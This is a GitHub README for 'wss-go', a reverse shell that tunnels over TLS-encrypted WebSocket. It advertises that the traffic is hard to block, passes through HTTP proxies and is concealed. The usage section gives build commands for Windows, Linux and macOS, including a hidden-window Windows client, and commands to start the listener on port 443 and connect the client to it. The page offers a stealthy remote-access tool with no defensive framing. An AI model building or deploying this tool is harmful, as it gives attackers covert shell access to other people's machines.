Skip to content

Latest commit

 

History

History
52 lines (34 loc) · 1.26 KB

README.md

File metadata and controls

52 lines (34 loc) · 1.26 KB

wss-go

wss-go is a reverse shell using websocket with tls.

Work for Windows, Linux, MacOS.

Documentation

Introduction

Use Websocket for communication and use SSL certificate for encryption.

Features

  • The HTTP protocol is used in the handshake phase, so it is not easy to block during the handshake and can pass through various HTTP proxy servers.
  • Use SSL certificate for encryption.
  • The data format is relatively lightweight, the performance overhead is small, and the communication is efficient and concealed.

Usage

Windows

go env -w GOOS=windows
go build -o wssServer.exe server/server.go
go build -o wssClient.exe -ldflags -H=windowsgui -ldflags "-s -w" client/client.go

Screenshots

MacOS & Linux

go env -w GOOS=darwin/linux
go build -o wssServer server/server.go
go build -o wssClient client/client.go
./wssServer -addr 0.0.0.0:443
./wssClient -addr 127.0.0.1:443

Screenshots

TODO

  • RSA & AES